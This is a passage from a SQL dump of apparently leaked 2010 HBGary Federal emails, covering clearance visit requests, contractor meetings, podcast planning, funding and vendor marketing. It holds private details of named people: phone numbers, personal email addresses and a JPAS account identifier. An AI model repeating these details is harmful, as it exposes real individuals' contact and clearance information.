466-3314&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2033,'aaron_hbgary_com/2033.html'),(5038,'2010-04-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003222.M78037P3547Q5035.eml','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','Re: Visit Cert','Thanks Bill,\r\n\r\nSorry for not responding.  The need went away as the meeting was cancelled.  I will try to give you more warning and information in the future.\r\n\r\nAaron\r\n\r\n\r\nOn Apr 8, 2010, at 7:59 AM, Choate, William R (TASC) wrote:\r\n\r\n> Aaron,\r\n> \r\n> 	I never received a response from you providing:\r\n> \r\n> Point of Contact & Phone number:\r\n> Name of place you are visiting:\r\n> Security Point of Contact & Phone number:\r\n> FAX number:\r\n> \r\n> 	I cannot use JPAS to send your certs because we do not hold your\r\n> DOD collateral clearances.\r\n> \r\n> Bill\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, March 26, 2010 3:44 PM\r\n> To: Choate, William R (TASC)\r\n> Subject: Visit Cert\r\n> \r\n> Hi Bill,\r\n> \r\n> Could you send a TS/SCI SI/TK visit request to JPAS acct: 3CX82-3.  The\r\n> purpose is for some technical meetings and discussions.\r\n> \r\n> Thank You,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10434,'aaron_hbgary_com/10434.html'),(5039,'2010-04-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003222.M905381P3547Q5039.eml','\"John Farrell\" <john@endgames.us>','Re: Did u want to catch up here or there?','Hey John,Sorry it didn\'t work out to get together. &nbsp;How are things going? &nbsp;Have you talked to Penny yet?Lets try to get together soon. &nbsp;AaronOn Apr 5, 2010, at 7:13 PM, John Farrell wrote:Effective immediately, please use the following contact information to reach me:John M. Farrell(703) 622-9025jmfarrell@yahoo.comI will no longer be accessible via Endgame Systems email addresses. Thank you.On Feb 18, 2010, at 9:09 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Sorry John. Just gotTo Checking email. &nbsp;A few NG Folks and me went to dinner. &nbsp;Would havebeen good to have u. &nbsp;See u in the morning.AaronFrom my iPhoneOn Feb 18, 2010, at 1:41 PM, John Farrell &lt;john@endgames.us&gt; wrote:I am enroute to Cincinnati now. Do you have plans for dinnertonight? I am staying near the airport, but have a car. I land at4pm today. Talk with you soon.JohnJohn M FarrellVP Federal, Endgame Systems703.622.9025 M----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: John FarrellSent: Tue Feb 16 13:47:27 2010Subject: Re: Did u want to catch up here or there?Tomorrow 2pm. &nbsp;I have thursday meetings with various parts of theXetron team related to the IRAD and some other pursuits like theDarpa BAA, ONR, etc. &nbsp;I spoke to NG seniors on Friday to make surewe were going to get the necessary support for the effort andinternal bickering wasn\'t going to cause us issues. &nbsp;Everyone seemssupportive.AaronOn Feb 16, 2010, at 2:44 PM, John Farrell wrote:If you are going to Cinci on Thurs, we could meet out there? Whendo you fly out?John M FarrellVP Federal, Endgame Systems703.622.9025 M----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: John FarrellSent: Tue Feb 16 11:40:01 2010Subject: Did u want to catch up here or there?I have a pretty open afternoon, 4pm meeting.Aaron BarrCEOHBGary Federal Inc.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5336,'aaron_hbgary_com/5336.html'),(5040,'2010-04-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003223.M100259P3547Q5040.eml','\"Scott Pease\" <scott@hbgary.com>,\"Pillion Martin\" <martin@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','MSDN','Mark an I tried to pick up Vista 64 today, but it turns out that\r\nnobody still carries it. We can probably get it online , but I\'m a\r\nlittle worried about the timeline.\r\n\r\nMy personal MSDN license doesn\'t provide Vista.\r\n\r\nDoes HBGary have a premium MSDN account? If so can we get a username\r\nand password? We are going to need to get the other OS\'s for test as\r\nwell.\r\n\r\nTed\r\n',6504,'aaron_hbgary_com/6504.html'),(5041,'2010-04-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003223.M278676P3547Q5041.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Update on Podcast','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI think we&#8217;d like to get this going, we don&#8217;t have to do the 19th\r\nwe can push it, I think Karen was just thinking those would be good for\r\ncalendar\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 08, 2010 7:54 AM\r\nTo: Karen Burke\r\nCc: Penny Leavy; Greg Hoglund\r\nSubject: Re: Update on Podcast\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Karen,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJake (my congressional contact who knows Jim) has been on\r\nvacation the last couple of weeks and will be back on 4/12.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThat is running it pretty tight to get Jim Lewis by the\r\n19th. &nbsp;Is that a hard start? &nbsp;Another good one might be the ShadowNet\r\nguys, in fact they might be a better first start for APT. &nbsp;We spoke to\r\nthem yesterday at the Palantir conference and they want to get an NDA in place\r\nand start to work with us. &nbsp;They need malware analysis help to integrate\r\ninto their analysis.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.wired.com/threatlevel/2010/04/shadow-network/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+wired%2Findex+%28Wired%3A+Index+3+%28Top+Stories+2%29%29&amp;utm_content=Google+Feedfetcher\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 7, 2010, at 1:53 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Hi Aaron, I just wanted to check in re the podcast on APT\r\n  to see if you have finalized the interview guest and topic details. As I put\r\n  in my original podcast plan, I wanted to schedule this podcast for April\r\n  19th. Do you think this is still possible? Once we have the details nailed\r\n  down, we can start to promote it. Thanks! Best, Karen&nbsp;&nbsp;&nbsp; \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13718,'aaron_hbgary_com/13718.html'),(5042,'2010-04-08','\"Dan Brennan\" <dan.brennan@carahsoft.com>','/aaron@hbgary.com/new/1297003223.M477788P3547Q5042.eml','\"Aaron Barr\" <aaron@hbgary.com>','Increase Your Organizations Application Performance','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\n	\r\n		\r\n			Dear Aaron, \r\n			\r\n			\r\n			\r\n			Carahsoft is hosting a Precise&nbsp;webcast on Thursday, April 15th. Attendees of this webcast will learn how Precise increases government&nbsp;organization\'s application performance. \r\n			\r\n			&nbsp;\r\n			Precise is&nbsp;an end-to-end application performance management solution that:\r\n			\r\n			\r\n			\r\n				Improves application performance\r\n				Speeds up response times &nbsp;\r\n				Enhances the impact of application upgrades and rollouts \r\n				Easily finds the root cause of all your performance problems&nbsp;\r\n			\r\n			Event Details: \r\n			\r\n			Precise&nbsp;Government Webcast: \r\n			Have Performance Problems? We Have Answers\r\n			\r\n			Date: Thursday, April 15, 2010 \r\n			Time: 11am Eastern; 8am Pacific\r\n			\r\n			Register now \r\n			\r\n			&nbsp;\r\n			\r\n			\r\n			\r\n			If you have any questions about this webcast or would like more information, please contact me at dan.brennan@carahsoft.com. \r\n			\r\n			\r\n			&nbsp;\r\n			\r\n			\r\n			Sincerely, \r\n			\r\n			\r\n			&nbsp;\r\n			\r\n			\r\n			Dan Brennan\r\n			\r\n			\r\n			\r\n			\r\n			&nbsp;\r\n			\r\n			\r\n			Dan Brennan\r\n			Precise Government at Carahsoft \r\n			________________________________________________\r\n			carahsoft\r\n			Carahsoft Technology Corp.\r\n			12369 Sunrise Valley Drive | Suite D2 | Reston, VA&nbsp; 20191\r\n			T: 703.871.8533 |&nbsp; 888.66.CARAH&nbsp;&nbsp;| F: 703.871.8505&nbsp;\r\n			dan.brennan@carahsoft.com |&nbsp; www.carahsoft.com \r\n			\r\n			\r\n			\r\n			\r\n			\r\n			\r\n			\r\n		\r\n	\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',4823,'aaron_hbgary_com/4823.html'),(5043,'2010-04-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003223.M671669P3547Q5043.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Google Alert - hbgary responder','I think maybe a little less convoluted than we thought.  I am going to do some more research tonight and send you what I got tonight.AaronFrom my iPhone\r\nOn Apr 7, 2010, at 4:01 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAnother one… \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Google Alerts\r\n[mailto:googlealerts-noreply@google.com] \r\nSent: Friday, March 05, 2010 9:32 AM\r\nTo: rich@hbgary.com\r\nSubject: Google Alert - hbgary responder\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nGoogle Web\r\nAlert for: hbgary responder\r\n\r\n\r\n \r\n  \r\n  responder\r\n  - responder lightbar - vista network lltd responder ...\r\n  responder rci raman kentucky ems first responder training first responder\r\n  teaching plan 50.5x responder battery change responder hbgary\r\n  dump ...\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n This\r\nonce a day Google Alert is brought to you by Google.\r\n\r\nRemove\r\nthis alert. \r\nCreate\r\nanother alert. \r\nManage\r\nyour alerts. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2333,'aaron_hbgary_com/2333.html'),(5044,'2010-04-08','\"Liz Losi\" <liz.losi@carahsoft.com>','/aaron@hbgary.com/new/1297003223.M859268P3547Q5044.eml','\"Aaron Barr\" <aaron@hbgary.com>','For the Citizen Solidier: At Home, In the Office, or On the Road','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\nbody {\r\nbackground-color: #808080;\r\ncolor: #333333;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\n.tbody {\r\nbackground-color: #fff;\r\ncolor: #333333;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\nh1 \r\n{\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 24px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: uppercase;\r\ncolor: #000088;\r\npadding: 0px;\r\n}\r\np, td { font-size:12px; }\r\ntd.content { padding-right: 25px; }\r\na:hover { text-decoration: underline; color: #000088; }\r\na:link { text-decoration: underline; color: #000088; }\r\na:visited { text-decoration: underline; color: #000088; }\r\n.footer {\r\nbackground-color:#58595B;\r\npadding:5px;\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 10px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: none;\r\ncolor: #FFFFFF;\r\ntext-align: center;\r\nvertical-align: middle;\r\n}\r\nbody { background-color:#808080 !important; }\r\n\r\n&nbsp;\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Secure Mobile Computing For the Citizen Soldier \r\n						\r\n						\r\n						Members of the National Guard need a secure, portable computing platform that allows for work to be done at home, in the office, or on the road, without risking the security of sensitive information. IronKey offers the next-generation in computing platforms, optimized for virtualized computing environments. \r\n						\r\n						\r\n						Please join IronKey and Carahsoft for an informative webcast on how the citizen soldier can leverage the world&rsquo;s most secure, trusted computing platform for mobile computing and data protection. \r\n						\r\n						\r\n						Attendees of this webcast will learn the following: \r\n						\r\n						\r\n							\r\n							\r\n							Key benefits for the citizen soldier to using removable, secure portable devices \r\n							\r\n							\r\n							\r\n							\r\n							The numerous security features used for data protection \r\n							\r\n							\r\n							\r\n							\r\n							Portability and performance features for the mobile army \r\n							\r\n							\r\n							\r\n							\r\n							A presentation on Ironclad, Lockheed&rsquo;s fully portable solution operating on IronKey \r\n							\r\n							\r\n						\r\n						\r\n						Sign up now, or click here to register for future access to the archived recording. \r\n						\r\n						\r\n						Sincerely, \r\n						\r\n						\r\n						Liz Losi\r\n						IronKey Federal at Carahsoft\r\n						703-230-7427 (Direct)\r\n						888-662-2724 (Toll-Free)\r\n						liz.losi@carahsoft.com\r\n						http://www.carahsoft.com/ironkey \r\n						\r\n						\r\n						\r\n						\r\n						Complimentary Online Seminar \r\n						\r\n						Date: Wednesday, April 21, 2010\r\n						Time: 2pm Eastern; 11am Pacific\r\n						Duration: 1 Hour \r\n						\r\n						\r\n						\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			Share this e-mail:      \r\n			\r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',2474,'aaron_hbgary_com/2474.html'),(5045,'2010-04-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003224.M130789P3547Q5045.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Update on Podcast','Met with Tim.  I think we had a good conversation.  He really doesn&#39;t know much about security so we will see how he writes it up.  He is starting a product blog and said he is going to put this on that space.\r\nAaronPS. Do you know of executivebiz?From my iPhoneOn Apr 7, 2010, at 1:53 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, I just wanted to check in re the podcast on APT to see if you have finalized the interview guest and topic details. As I put in my original podcast plan, I wanted to schedule this podcast for April 19th. Do you think this is still possible? Once we have the details nailed down, we can start to promote it. Thanks! Best, Karen    \r\n\r\n\r\n      \r\n',16637,'aaron_hbgary_com/16637.html'),(5046,'2010-04-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003224.M318408P3547Q5046.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: For the Citizen Solidier: At Home, In the Office, or On the Road','We so could havearketed those drives we built.AaronFrom my iPhoneBegin forwarded message:From: &quot;Liz Losi&quot; &lt;liz.losi@carahsoft.com&gt;\r\nDate: April 8, 2010 3:28:54 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: For the Citizen Solidier: At Home, In the Office, or On the Road\r\n\r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Secure Mobile Computing For the Citizen Soldier \r\n						\r\n						\r\n						Members of the National Guard need a secure, portable computing platform that allows for work to be done at home, in the office, or on the road, without risking the security of sensitive information. IronKey offers the next-generation in computing platforms, optimized for virtualized computing environments. \r\n						\r\n						\r\n						Please join IronKey and Carahsoft for an informative webcast on how the citizen soldier can leverage the world’s most secure, trusted computing platform for mobile computing and data protection. \r\n						\r\n						\r\n						Attendees of this webcast will learn the following: \r\n						\r\n						\r\n							\r\n							\r\n							Key benefits for the citizen soldier to using removable, secure portable devices \r\n							\r\n							\r\n							\r\n							\r\n							The numerous security features used for data protection \r\n							\r\n							\r\n							\r\n							\r\n							Portability and performance features for the mobile army \r\n							\r\n							\r\n							\r\n							\r\n							A presentation on Ironclad, Lockheed’s fully portable solution operating on IronKey \r\n							\r\n							\r\n						\r\n						\r\n						Sign up now, or click here to register for future access to the archived recording. \r\n						\r\n						\r\n						Sincerely, \r\n						\r\n						\r\n						Liz Losi\r\n						IronKey Federal at Carahsoft\r\n						703-230-7427 (Direct)\r\n						888-662-2724 (Toll-Free)\r\n						liz.losi@carahsoft.com\r\n\r\n						http://www.carahsoft.com/ironkey \r\n						\r\n						\r\n						\r\n						\r\n						Complimentary Online Seminar \r\n\r\n						\r\n						Date: Wednesday, April 21, 2010\r\n\r\n						Time: 2pm Eastern; 11am Pacific\r\n\r\n						Duration: 1 Hour \r\n						\r\n						\r\n						\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			Share this e-mail:      \r\n			\r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n',12475,'aaron_hbgary_com/12475.html'),(5047,'2010-04-08','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297003224.M671289P3547Q5047.eml','\"Aaron Barr\" <aaron@hbgary.com>','ONR BAA','\r\n\r\n\r\n\r\n\r\nONR BAA\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI have relooked at the BAA.&nbsp; Did you submit a whitepaper?&nbsp; You were right, proposals are due 21 May but you had to submit a whitepaper by 15 March.&nbsp; If your whitepaper gets selected, then you are eligible to submit a full proposal.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',1650,'aaron_hbgary_com/1650.html'),(5048,'2010-04-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003224.M880239P3547Q5048.eml','penny@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Funding','Hi Penny,\r\n\r\nI received the wire from Rich yesterday. Our funding is getting low.\r\nYou mentioned that you could make another deposit. The 1st quarterly\r\nfunding was due April 1st. Should I send a note to the shareholders as\r\na reminder?\r\n\r\nTed\r\n',14292,'aaron_hbgary_com/14292.html'),(5049,'2010-04-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003225.M132133P3547Q5049.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: For the Citizen Solidier: At Home, In the Office, or On the Road','Wow, thats pretty cool. Yeah, we could have...Sent from my iPadOn Apr 8, 2010, at 1:32 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWe so could havearketed those drives we built.AaronFrom my iPhoneBegin forwarded message:\r\nFrom: &quot;Liz Losi&quot; &lt;liz.losi@carahsoft.com&gt;\r\nDate: April 8, 2010 3:28:54 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: For the Citizen Solidier: At Home, In the Office, or On the Road\r\n\r\n\r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Secure Mobile Computing For the Citizen Soldier \r\n						\r\n						\r\n						Members of the National Guard need a secure, portable computing platform that allows for work to be done at home, in the office, or on the road, without risking the security of sensitive information. IronKey offers the next-generation in computing platforms, optimized for virtualized computing environments. \r\n						\r\n						\r\n						Please join IronKey and Carahsoft for an informative webcast on how the citizen soldier can leverage the world’s most secure, trusted computing platform for mobile computing and data protection. \r\n						\r\n						\r\n						Attendees of this webcast will learn the following: \r\n						\r\n						\r\n							\r\n							\r\n							Key benefits for the citizen soldier to using removable, secure portable devices \r\n							\r\n							\r\n							\r\n							\r\n							The numerous security features used for data protection \r\n							\r\n							\r\n							\r\n							\r\n							Portability and performance features for the mobile army \r\n							\r\n							\r\n							\r\n							\r\n							A presentation on Ironclad, Lockheed’s fully portable solution operating on IronKey \r\n							\r\n							\r\n						\r\n						\r\n						Sign up now, or click here to register for future access to the archived recording. \r\n						\r\n						\r\n						Sincerely, \r\n						\r\n						\r\n						Liz Losi\r\n						IronKey Federal at Carahsoft\r\n						703-230-7427 (Direct)\r\n						888-662-2724 (Toll-Free)\r\n						liz.losi@carahsoft.com\r\n\r\n\r\n						http://www.carahsoft.com/ironkey \r\n						\r\n						\r\n						\r\n						\r\n						Complimentary Online Seminar \r\n\r\n\r\n						\r\n						Date: Wednesday, April 21, 2010\r\n\r\n\r\n						Time: 2pm Eastern; 11am Pacific\r\n\r\n\r\n						Duration: 1 Hour \r\n						\r\n						\r\n						\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			Share this e-mail:      \r\n			\r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n',4565,'aaron_hbgary_com/4565.html'),(5050,'2010-04-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003225.M317085P3547Q5050.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>','Re: Toth Invoice -- March 2010 Proposal Support','Thanks Mike, this provides everything I need, I&#39;ll get this right out you.  Thanks again for your help! TedSent from my iPadOn Apr 7, 2010, at 7:06 AM, MB Toth &lt;mbt.rbtoth@gmail.com&gt; wrote:\r\nTed,Here&#39;s an invoice for my work on the proposal.  Let me know if you need more information, but you should have the SSN and other info in the consulting agreement.\r\nLet me know when you are next out this way so we three can get together,\r\nMike-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n&lt;Inv-HBGary-March2010.pdf&gt;\r\n',290,'aaron_hbgary_com/290.html'),(5051,'2010-04-08','\"Ted Wagner, CISSP, ISSMP, CISM\" <edward.d.wagner@us.army.mil>','/aaron@hbgary.com/new/1297003225.M505342P3547Q5051.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catch Up','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nTed Wagner, CISSP, ISSMP, CISM has sent you a message.\r\n\r\n\r\n  Date:\r\n  4/08/2010\r\n\r\n\r\n  Subject:\r\n  RE: Catch Up\r\n\r\n\r\n\r\n  Aaron,\r\n\r\nI met with Brian this morning and had a good discussion.  I would like to meet, but have a lot of travel pending.  Might be available the week of the 19th, I will let you know.\r\n\r\nTed\r\n\r\nOn 04/06/10 9:41 PM, Aaron Barr wrote:\r\n--------------------\r\nHi Ted,\r\n\r\nHope all is well.  I would like to go have lunch sometime and catch up.  Let me know when you have some time.  I turned Brian Masterson on to you as a trusted resource, hope you don\'t mind.  He asked for a list of smart people in IS that know cyber and your name was at the top of a short list. ;)\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',3585,'aaron_hbgary_com/3585.html'),(5052,'2010-04-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003225.M719870P3547Q5052.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','IPhone OS 4','Did you see the new features in iPhone os 4? It\'s due out in June. Has\r\nmultitasking, and Bluetooth keyboard support, finally.  Also has iAd,\r\nfor in app advertisements, the bookstore, and a new gaming center\r\nkinda like Xbox live.\r\n\r\nCool stuff\r\n\r\ntv\r\n',12808,'aaron_hbgary_com/12808.html'),(5053,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003225.M904609P3547Q5053.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: ONR BAA','Thats where the 15th came from...ok so next opportunity.AaronOn Apr 8, 2010, at 3:39 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nAaron,I have relooked at the BAA.&nbsp; Did you submit a whitepaper?&nbsp; You were right, proposals are due 21 May but you had to submit a whitepaper by 15 March.&nbsp; If your whitepaper gets selected, then you are eligible to submit a full proposal.BrianBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3083,'aaron_hbgary_com/3083.html'),(5054,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003226.M178080P3547Q5054.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Update on Podcast','ok well I will keep pursuing Jim Lewis, let me know if you want me to pursue the Shadownet guys. &nbsp;Nice thing about an affiliation with them is it shows our commitment to a larger purpose than just selling products, which in turn should sell more products. :)AaronOn Apr 8, 2010, at 1:37 PM, Penny Leavy-Hoglund wrote:I think we’d like to get this going, we don’t have to do the 19th&nbsp;we can push it, I think Karen was just thinking those would be good for calendar&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, April 08, 2010 7:54 AMTo:&nbsp;Karen BurkeCc:&nbsp;Penny Leavy; Greg HoglundSubject:&nbsp;Re: Update on Podcast&nbsp;Hi Karen,&nbsp;Jake (my congressional contact who knows Jim) has been on vacation the last couple of weeks and will be back on 4/12.&nbsp;That is running it pretty tight to get Jim Lewis by the 19th. &nbsp;Is that a hard start? &nbsp;Another good one might be the ShadowNet guys, in fact they might be a better first start for APT. &nbsp;We spoke to them yesterday at the Palantir conference and they want to get an NDA in place and start to work with us. &nbsp;They need malware analysis help to integrate into their analysis.&nbsp;http://www.wired.com/threatlevel/2010/04/shadow-network/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+wired%2Findex+%28Wired%3A+Index+3+%28Top+Stories+2%29%29&amp;utm_content=Google+Feedfetcher&nbsp;Aaron&nbsp;&nbsp;On Apr 7, 2010, at 1:53 PM, Karen Burke wrote:Hi Aaron, I just wanted to check in re the podcast on APT to see if you have finalized the interview guest and topic details. As I put in my original podcast plan, I wanted to schedule this podcast for April 19th. Do you think this is still possible? Once we have the details nailed down, we can start to promote it. Thanks! Best, Karen&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3697,'aaron_hbgary_com/3697.html'),(5055,'2010-04-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003226.M385606P3547Q5055.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Rootkit.com web design work','Greg,I am working to get an answer to this soon. &nbsp;The Project B stuff is taking a little longer to get on contract which is what we were going to use to bring our graphics guy on, but like you I am getting a little impatient waiting for him, so I asked Ted to talk to him about coming on now since we feel confident that work is going to come through. &nbsp;I am guessing there is 2-4 months of HBGary and HBGary Fed work he could be very helpful with that should give us the runway for the Task B to kick in. &nbsp;We are supposed to get an answer today. &nbsp;After that I will get this costed out.You still have work on the main site you want done correct? &nbsp;We will want him to work in the HBGary Fed site as well into the same look and feel.AaronOn Apr 6, 2010, at 11:11 AM, Greg Hoglund wrote:&nbsp;\r\nAaron,\r\n&nbsp;\r\nHow much to have your new guy do some web programming for rootkit.com ?\r\n&nbsp;\r\nhere is what I am looking for:\r\n&nbsp;\r\n1) keep the same look / graphics, no graphic design required\r\n2) left hand menu,\r\n&nbsp;&nbsp;&nbsp; remove the list of 